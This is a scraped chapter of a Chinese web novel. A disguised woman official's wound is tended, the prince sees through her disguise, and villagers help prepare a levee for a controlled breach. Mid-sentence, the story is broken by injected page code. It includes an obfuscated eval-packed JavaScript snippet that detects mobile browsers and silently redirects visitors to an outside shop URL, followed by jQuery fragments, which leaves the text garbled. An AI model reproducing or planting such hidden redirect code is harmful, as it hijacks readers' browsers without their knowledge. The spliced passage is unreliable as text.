文趣网 > 其他小说 > 她在青袍之下 > 33. 第 33 章
    上药?!

    这两个字落在耳中,连溱的心骤然提到了嗓子眼。

    若是伤在手脚还好,偏偏伤在背上。若要上药,便须褪衣甚至裁衣,无论如何她的身份都瞒不住。

    她面上维持着平静,不动声色往后缩了缩:“怎可劳烦殿下,我自己来便好。”

    “我不觉得给你上药是劳烦,”赵询抿了抿唇,眸光扫过她背上的伤口,“况且,你自己如何能够得到?”

    连溱眼神坚定:“我能。”

    赵询与她对视片刻:“……你不能。”

    连溱目光微微一偏:“其实是我不大习惯在旁人面前解衣,还请殿下-体谅。”

    赵询挑了挑眉:“你害羞?”

    连溱一时语塞,半晌才道:“总之,殿下,男……男授受不亲,传出去有碍殿下清誉。”

    赵询目光微微一凝,定定地看着她。这些日子以来心头那道隐隐约约的猜测越发明朗。

    他往前倾了倾身,逼近了一些,盯着连溱的眼睛,缓缓重复她方才的话:“男……男授受不亲?”

    “是。”连溱微微仰着下巴与他对视。

    赵询的影子斜斜覆下来,将连溱整个人笼在塌角的一方阴影里。他垂眼看着她,那双眼睛是他熟悉的明亮与沉静,可绷紧的肩线和攥得发白的指尖却泄露了她的紧张。

    “好。”赵询忽然退后一步,撂下两个字,“在这等着。”

    “啊?”连溱一怔,尚未回过神来,赵询已经大步出了房间,帘栊一晃便不见了人影。

    片刻后,门帘又被掀开。一个梳着双鬓,学徒打扮的少女笑盈盈地走了进来。

    “这位……额,公子,”她扬了扬手中的剪刀,笑眯眯道,“我来给你上药吧。”

    连溱不明所以:“方才那位公子呢?”

    “在外边等着呢。”少女朝门口努了努嘴,又回头指挥她,“你翻过身子,趴好。”

    连溱依言照做。

    剪刀贴着衣料游走,发出细碎的“窸窣”声。少女一面剪,一面低声碎碎念:“外头那位公子生得那样俊,出手又阔绰……我也想要一个这样的夫君呢。”

    连溱敏锐地捕捉到了一个字,“也”是啥意思?

    她微微偏过头,问道:“他跟你说什么了?”

    少女手下不停,唇角带了点意味深长的笑意,瞥了她一眼,慢悠悠道:“他说你面子薄。”

    随即又低下头,一边将药粉细细撒在伤处,一边低几不可闻地嘟囔了一句:“都扮成这模样了,还面子薄……”

    连溱心头猛地一跳,话说到这份上了,还有什么不明白的。

    少女扶着她坐起身来,目光掠过她胸前的束带,又有些心疼道:“这勒着得多难受啊,我给你拆了吧?”

    “不用,不用。”连溱压下心头纷乱心绪,朝她笑了笑,“劳烦姑娘替我包扎妥帖便好。”

    “好吧。”少女不解,但也不多劝,应了一声便垂下头去,十指翻飞,三两下便将绷带缠得齐整利落。

    她满意地拍了拍手,直起身来:“好了。”

    “多谢。”连溱抬头道谢。

    “不谢不谢,”少女摆摆手,叮嘱道,“记得按时换药。”说罢又拿过桌上的衣服,小心避让着伤处给她穿好。

    连溱这才发现桌上不知何时多了一套新衣,里衣素白柔软,外袍则染着淡淡的雪青色。

    “不过,你穿雪青应当更好看。”

    赵询那日说的话突然在耳中响起,连溱垂下眼帘,目光怔怔地落在袖口的纹路上,许久未动。

    也是。自己在他面前,从头到尾,桩桩件件,都是破绽。

    小姑娘完成了差事,脚步轻快地退了出去。

    连溱独自坐着,微微动了动肩背,伤处皮肉扯得一阵刺痛。她轻轻蹙了蹙眉,所幸没有伤到筋骨,不至于影响行动。

    她张了张嘴,想唤赵询进来,话到唇边却又顿住了。

    就这么坦然任由他看穿了底细,是不是哪里不对?

    她正出神,帘外脚步声再度响起。连溱抬眼看去,赵询端着药碗不急不缓地走了进来。

    两人四目相对,谁也没有先开口。

    赵询目光转到她身上那件雪青色的外袍上,唇角微不可察地扬了扬:“果然好看。”

    连溱忽然觉得耳根烫得厉害,微微偏过头去,避开那双含笑的眼睛,低声道:“……多谢殿下。”

    左右是躲不过的,该谢不该谢的,一并谢了吧。

    “把药喝了。”赵询顿了顿,垂眸望着她,“还是……我喂你?”

    连溱微微睁大眸子,这是什么虎狼之词?她连忙伸手去接药碗:“不用不用,我自己来,自己来。”

    赵询莞尔:“慢些,小心烫。”

    连溱低头一口一口将药饮尽,苦意顺着喉头滑下去,她皱了皱鼻尖,抬眼的瞬间却正正撞上赵询的眼睛。

    那双形状好看的眼睛眼尾微微下弯,拉出一道柔和的弧线,笑意从眼底漫上来,清亮如春水初融。

    藏之愈深,见之愈明。

    她微微眯起眼睛:“殿下似乎很开心?”

    赵询眼底的笑意更浓了,“嗯”了一声:“很开心。”

    连溱:“……”

    直觉告诉她不能追问。

    她微微侧过脸,清了清嗓子:“殿下,县中百姓撤离得如何了?”

    “入夜前能迁走大半,”赵询顿了顿,“只是总有人故土难离,不愿动身,若要尽数迁完,恐怕还得费些周折。”

    连溱没有接话,只是心中难免怅然。

    她又何尝不明白,若非万不得已,谁舍得抛下那一砖一瓦垒起来的家,谁不愿守着一方灶火,安安生生地过完这一辈子。

    连溱撑着几案勉力站起身来,牵动了背上伤口,疼得她面色霎时白了几分,眉眼之间却依旧端得平稳。

    “殿下,”她抬眸望向赵询,“带我回柳林渡吧。”

    赵询眉心微微蹙起,嘴唇动了动,却终究只化作一声低低的叹息。

    “……我去寻马车来。”

    再次站上柳林渡的大堤时,已是四野昏暝时分。

    连溱转过身,面朝洛平的方向望去。笼在城郭上空的雨雾终于散去,隐约可见人影憧憧,于城间穿梭来去,忙碌不息。

    她刚要回眸,却瞥见大堤尽头有一群人正朝这边走来。

    队伍渐近,才看清为首的是高世昌,身后跟着几十个青壮,肩扛铁锹,挑着箩筐,抬着成捆木桩,浩浩荡荡走上堤坡。

    连溱微微一怔,侧首看向高世昌:“这是……”

    高世昌侧身让开,露出身后那支灰扑扑的队伍,言简意赅道:“帮手。”

    连溱目光扫过那一张张被风霜日头刻满深浅沟壑的面庞,每一双眼睛都质朴又明亮。

    有个年轻汉子对上她的目光,有些腼腆地笑了笑:“这位官老爷,俺们自家的田反正也要泡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693478|204245||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    水了,一把子力气没地儿使,你吩咐咋干,俺们就咋干。”

    其他汉子纷纷附和。

    “对!俺们有得是力气!”“俺家婆娘说了,这时候谁还在屋里坐着,谁就是孬种!”

    连溱眼眶蓦地一酸,喉间微微哽咽,她郑重地朝他们拱了拱手:“那便多谢诸位了。”

    柳林渡的石堤与陈桥段大抵相仿,表层石块经年累月已被水冲刷得松脱,须得先一一清理干净,再于根基处埋设火药,炸开缺口以泄洪势。

    当连秋带着河兵赶到柳林渡时,看到的就是几十个庄稼汉挽着裤腿埋头撬堤的画面。

    画面外还有高世昌喋喋不休的声音。

    “唉,先撬这块先撬这块,你使那么大劲做什么?对,就那儿,别太深了……”

    “慢些慢些,留神砸到脚,都退半步!退半步!”

    “你看你看,我说什么来着,这块撬下来就顺当了。下一块,后头的箩筐呢?箩筐往前递呀!”

    连溱站在一旁,看着陀螺一样转来转去喋喋不休的高世昌,自己都替他累得慌。

    她终于忍不住开口:“我说高兄……你坐下歇会吧。”

    高世昌神色立刻一敛,整个人端得四平八稳,淡淡道:“不必。”

    连溱:“?”

    这算什么?对着别人絮絮叨叨,一转头到她跟前便惜字如金?

    她正兀自纳闷,身后忽然传来一道声音:“公子。”

    连溱回头,只见连秋立在几步开外,神情有些担忧:“公子的伤……”

    “皮外伤,不碍事。”连溱看向他身后的河兵,“东西都带齐全了?陈桥那头如何?”

    “公子放心,一应器物皆已备妥,陈桥段尚算安稳,暂无险情。”连秋往她身后看了看,压低了声音,“殿下……没与公子一处么?”

    “他回军屯安置点了。”

    移民调度、粮草调配、物资分派,桩桩件件都要人主持大局。赵询便是万般不愿走,也由不得他。

    她忽然侧过身,望向高世昌:“高兄,此处有我盯着即可,你且先回去主持迁离之事,殿下一人在那边怕也分身乏术。”

    高世昌闻言看过来:“我本就是将人送到便走,原也没打算多留。”

    他转身迈出两步,又略略一顿,偏过头来,撂下一句:“万事小心。”

    说罢也不等她应声便大步下了石阶,片刻间便隐入了堤下的昏暝之中。

    夜一寸一寸地沉下去,天光彻底湮没于远山之外,堤上只余几只火把在河风中明灭摇曳。

    浪头拍打堤脚的声音一声沉过一声,河水闷雷似的低吼着,渐渐盖过了人声。

    子时初,水面距堤顶已不足三尺。

    丑时末,那距离又缩至二尺。

    上游漂下来的断枝浮木,原先尚是顺流直下,此刻却纷纷打横旋转起来。连溱蹲下身,探手舀了一捧河水凑近鼻端,泥沙腥气扑面而来,浊得几乎看不见指节。

    “官老爷!官老爷!”大堤上忽有一人狂奔而来,几乎是一路踉跄地冲到她面前,气喘吁吁地喊道,“县尊让小的来传话,洛平全县百姓已经全数撤出!”

    连溱站起身来,缓缓将手中的水倾回河中,转身面向堤上早已严阵以待的众人。

    四野风声如吼,河水咆哮不息,火把的光在风里猎猎跳动,映在她眼底,沉静而灼亮。

    她深吸一口气,声音穿透夜色:

    “——点火!”